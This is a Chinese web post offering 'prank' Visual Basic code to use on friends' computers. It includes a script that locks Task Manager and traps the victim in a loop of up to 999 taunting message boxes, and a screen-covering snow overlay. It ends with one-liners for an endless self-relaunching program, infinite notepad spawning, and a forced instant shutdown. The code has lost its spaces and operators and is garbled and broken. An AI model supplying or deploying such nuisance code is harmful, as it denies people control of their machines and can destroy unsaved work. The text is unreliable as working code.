VB代码(整人-实用。几个有趣的希望有帮助!!)

('使用方法：新建一个txt文本文档。然后把拓展名改成“.vbs”的格式。然后右键编辑，把代码复制进去，ok！！！1.整死你啊！！！此代码锁定了任务管理器，想关闭只有重新启动电脑，恶搞你的好友，或者骚扰你PrivateSubForm_Load()OpenEnviron$("WinDir")&"\\system32\\taskmgr.exe"ForBinaryAs#1Form=1To999MsgBox"呵呵，你知道我是谁吗？",16MsgBox"什么？？不知道？",16MsgBox"那你打开我干什么？",16MsgBox"你有空没事做吧？！",16MsgBox"我..就是鼎鼎大名的987876198",16MsgBox"987876198..",16MsgBox"现在你把它打开了觉得后悔了吧？呵呵..",16MsgBox"算了算了，不玩你了",16MsgBox"现在我数3声就闪人,行了吧?",16MsgBox"1.............",16MsgBox"2.............",16MsgBox"3.............",16MsgBox"噔噔噔噔,我又回来了！",16MsgBox"哈哈，是不是很过瘾呢？",16MsgBox"现在我先介绍下自己..",16MsgBox"我叫王得地..",16MsgBox"性别：男..",16MsgBox"今年35岁..",16MsgBox"不好意思噢，我好像说多了..",16MsgBox"不要这样喇，听我说完先好不？",16MsgBox"来来来，开始喇..",16MsgBox"我叫王得地..",16MsgBox"家中有屋又有田..",16MsgBox"生活乐无边..",16MsgBox"好像我又说多了...",16MsgBox"不要生气嘛，你认真看下去我就放你走..",16MsgBox"好，开始喇..",16MsgBox"从前有座山..",16MsgBox"山里有个座庙..",16MsgBox"庙里有个和尚..",16MsgBox"哈哈，想哭吗？",16MsgBox"被骗的感觉不爽吧？",16MsgBox"喂喂喂！别别..千万别重启电脑",16MsgBox"我告诉你怎么关吧",16MsgBox"先打开任务管理器",16MsgBox"忘了告诉你了，任务管理器打不开了",16MsgBox"别恨我啊你不小心",16MsgBox"电脑重新启动吧",16MsgBox"相信我吧,你知道我是不会骗人的",16MsgBox"如果你还想继续点的话,你就别听我的",16MsgBox"呵呵,我又没有说这个东西没有",16MsgBox"我只想说桌面没有罢了..",16MsgBox"嘻嘻,爽不爽吖?",16MsgBox"对着电脑屏幕大声说低调大好人",16MsgBox"不然,我就没办法的咯",16MsgBox"因为我把循环设置成99了",16MsgBox"想保存电脑数据只有继续点了",16MsgBox"绝对会出到去的",16MsgBox"好了,废话不多说了,祝你好运..",16MsgBox"制作:低调不倒",16MsgBox"QQ：987876198",16MsgBox"E-mail:不告诉你",16MsgBox"好,继续循环..",16NextEndSub·······················································2.满屏小雪花这是我以前写的小程序让整个屏幕雪花飘飘的改进，本程序是一个模拟下雪的小程序：大小不同随风飘荡的雪花从屏幕上方不断落下，飘满整个屏幕。雪花可在任何窗口上飘荡，包括任务栏、开始菜单、弹出菜单等地方。本程序与原程序的主要改进之处是：落下的雪花不会消失，会在屏幕底部不断堆积，双击屏幕底部的积雪可使积雪消失。本程序编译成exe文件运行后，只能通过系统“任务管理器”才能终止运行。程序运行效果截图如下:\'\'\'本程序包含两个窗体，Form1和Form2，其中Form1是启动窗体。代码在在VB6调试通过：\'\'下面是Form1窗体代码：=====================================\'\'注意：在属性窗口将窗体的BorderStyle属性设置为0，即窗体是无边框窗体\'\'在窗体上放置一个控件：Timer1，不必设置任何属性PrivateDeclareFunctionSetWindowPosLib"user32"(ByValhWndAsLong,ByValhWndInsertAfterAsLong,ByValXAsLong,ByValYAsLong,ByValcxAsLong,ByValcyAsLong,ByValwFlagsAsLong)AsLongPrivateDeclareFunctionSetLayeredWindowAttributesLib"user32"(ByValhWndAsLong,ByValcrKeyAsLong,ByValbAlphaAsByte,ByValdwFlagsAsLong)AsLongPrivateDeclareFunctionGetWindowLongLib"user32"Alias"GetWindowLongA"(ByValhWndAsLong,ByValnIndexAsLong)AsLongPrivateDeclareFunctionSetWindowLongLib"user32"Alias"SetWindowLongA"(ByValhWndAsLong,ByValnIndexAsLong,ByValdwNewLongAsLong)AsLongDimctSnow()AstySnow,ctSnowSAsLong,ctSeChangeAsLongPrivateTypetySnow\'定义表示雪花的数据类型XAsSingle:xVAsSingle\'x坐标、水平移动速度YAsSingle:yVAsSingle\'y坐标、垂直移动速度SeAsLong:SizeAsSingle\'雪花颜色、大小EndTypePrivateSubForm_Load()ctSnowS=200\'300\'雪花数量ctSeChange=30\'雪花颜色的变化范围\'最大化窗口。注意：不要用在属性窗口设置WindowState属性的方\'式，也不使用Me.WindowState=2代码。否则，在用户调整任务\'栏状态的时候，会造成积雪的位置错位。Me.WindowState=0Me.Move0,0,Screen.Width,Screen.HeightReDimctSnow(1ToctSnowS)Me.Caption="雪花飘飘"Me.AutoRedraw=True:Me.ScaleMode=3Me.BackColor=RGB(235-ctSeChange2,235-ctSeChange2,255)CallTransWin(Me.hWnd,Me.BackColor)\'将窗口背景色设置为透明的Form2.AutoRedraw=True:Form2.ScaleMode=3Form2.BackColor=Me.BackColorForm2.MoveForm1.Left,Form1.Top,Form1.Width,Form1.HeightCallTransWin(Form2.hWnd,Form2.BackColor)\'将窗口背景色设置为透明的Form2.ShowTimer1.Enabled=True:Timer1.Interval=20EndSubPrivateSubTimer1_Timer()DimIAsLong,VAsSingle,H1AsSingle,IsDownAsBoolean,SeAsLongV=8\'修改此数字，可改变雪花整体飘荡的速度Randomize\'初始化随机发生器WinInTopMe.hWnd,True\'使雪花（窗口）显示在最前，包括显示到任务栏上面WinInTopForm2.hWnd,TrueMe.Line(0,0)-(Me.ScaleWidth,Me.ScaleHeight),Me.BackColor,BFForI=1ToctSnowSctSnow(I).X=ctSnow(I).X+ctSnow(I).xVVctSnow(I).Y=ctSnow(I).Y+ctSnow(I).yVVIfRnd20<1ThenctSnow(I).xV=Rnd-0.5\'改变水平移动速度，模拟随风飘荡IfctSnow(I).Size=0OrctSnow(I).Y>Me.ScaleHeightThenCallSnowInit(I)\'未初始化，或超出下边界\'ctSnow(I).Size=2\'调试代码ShowStrMe,I\'画一朵雪花Me.Font.Size=ctSnow(I).SizeH1=Me.TextHeight("")0.5\'半个字符高度IfctSnow(I).X<-H1ThenctSnow(I).X=Me.ScaleWidth\'超出左边界IfctSnow(I).X>Me.ScaleWidthThenctSnow(I).X=-H1\'超出右边界\'最下层积雪位置IsDown=ctSnow(I).Y>Me.ScaleHeight-H1IfIsDownThenctSnow(I).Y=Me.ScaleHeight-H1\'积雪密度:Y坐标后H10.9数值越小密度越大\'数值过大，如H11.5，会使积雪堆积成柱状或造成空隙。\'数值过小，如H10.5，会使积雪堆积速度缓慢。Se=Form2.Point(ctSnow(I).X+H10.5,ctSnow(I).Y+H10.9)IfSe>-1AndSe<>Form2.BackColorThenIsDown=True\'已落到最下面，在Form2的相同位置绘制积雪IfIsDownThenShowStrForm2,ICallSnowInit(I)IfctSnow(I).Y>Me.ScaleHeight0.9ThenForm2.Font.Size=12Form2.CurrentX=(Me.ScaleWidth-8Me.TextHeight("12"))0.5Form2.CurrentY=Me.ScaleHeight0.92Form2.ForeColor=RGB(0,0,255)Form2.Print"双击此处消除积雪"EndIfEndIfNextEndSubPrivateSubShowStr(Kj,IAsLong)\'画一朵雪花DimH1AsSingleKj.Font.Size=ctSnow(I).SizeKj.CurrentX=ctSnow(I).XKj.CurrentY=ctSnow(I).YKj.ForeColor=ctSnow(I).SeIfctSnow(I).Size>4.2ThenKj.Print""ElseIfctSnow(I).Size>3ThenKj.DrawWidth=2ElseKj.DrawWidth=1H1=Kj.TextHeight("")0.5Kj.PSet(ctSnow(I).X+H10.5,ctSnow(I).Y+H1-1)EndIfEndSubPrivateSubSnowInit(IAsLong)\'初始化一朵雪花DimSAsSinglectSnow(I).X=RndMe.ScaleWidthctSnow(I).xV=Rnd-0.5ctSnow(I).yV=Rnd0.5+0.1S=2+Rnd9\'字体最大11号IfctSnow(I).Size=0ThenctSnow(I).Y=RndMe.ScaleHeightElseMe.Font.Size=SctSnow(I).Y=-Me.TextHeight("")EndIfctSnow(I).Size=SS=235-ctSeChange2+Int(RndctSeChange2)ctSnow(I).Se=RGB(S,S,255)\'雪花略带蓝色，否则在白背景时将看不见EndSubPrivateSubTransWin(hWndAsLong,TransColorAsLong)\'将窗口颜色TransColor设置为透明的DimExsTyleAsLongConstWS_EX_LAYERED=&H80000,GWL_ExsTyle=-20ExsTyle=WS_EX_LAYEREDOrGetWindowLong(hWnd,GWL_ExsTyle)SetWindowLonghWnd,GWL_ExsTyle,ExsTyleSetLayeredWindowAttributeshWnd,TransColor,0,1EndSubPrivateSubWinInTop(nWndAsLong,OptionalInTopAsBoolean)\'窗口保持最前ConstHWND_NoTopMost=-2\'取消在最前ConstHWND_TopMost=-1\'最上ConstSWP_NoSize=&H1\'wFlags参数ConstSWP_NoMove=&H2ConstSWP_NoZorder=&H4ConstSWP_NoActivate=&H10\'不激活窗口ConstSWP_ShowWindow=&H40ConstSWP_HideWindow=&H80DimnInAsLongIfInTopThennIn=HWND_TopMostElsenIn=HWND_NoTopMostSetWindowPosnWnd,nIn,0,0,0,0,SWP_NoSize+SWP_NoMove+SWP_NoActivateEndSub\'\'下面是Form2窗体代码：=====================================\'\'注意：在属性窗口将窗体的BorderStyle属性设置为0，即窗体是无边框窗体PrivateSubForm_DblClick()\'双击清除积雪Me.Line(0,0)-(Me.ScaleWidth,Me.ScaleHeight),Me.BackColor,BFEndSub1、subform_load()shellapp.exenameendsub2、doshell"notepad.exe"loop3、shell"cmd/cshutdown-s-f-t01"1和2是不断运行程序，3是迅速关机。-------------------------希望有财的捧个财场！！！望下载！！！------------------------------',)